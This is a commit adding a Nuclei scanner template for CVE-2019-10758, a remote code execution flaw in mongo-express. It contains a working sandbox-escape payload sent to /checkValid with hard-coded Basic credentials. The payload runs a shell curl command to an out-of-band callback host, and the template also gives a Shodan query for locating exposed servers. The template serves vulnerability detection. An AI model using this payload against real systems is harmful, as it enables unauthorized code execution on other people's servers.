Merge pull request #3691 from projectdiscovery/CVE-2019-10758

Create CVE-2019-10758.yaml

cves/2019/CVE-2019-10758.yaml

@@ -0,0 +1,28 @@
+id: CVE-2019-10758
+info:
+  name: Mongo-Express Remote Code Execution - CVE-2019-10758
+  author: princechaddha
+  severity: critical
+  description: mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method. A misuse of the `vm` dependency to perform `exec` commands in a non-safe environment.
+  reference:
+    - https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-10758
+  remediation: This issue will be fixed by updating to the latest version of mongo-express
+  metadata:
+    shodan-query: http.title:"Mongo Express"
+  tags: cve,cve2019,mongo,mongo-express
+
+requests:
+  - raw:
+      - |
+        POST /checkValid HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Basic YWRtaW46cGFzcw==
+        Content-Type: application/x-www-form-urlencoded
+
+        document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl http://{{interactsh-url}}")
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "http"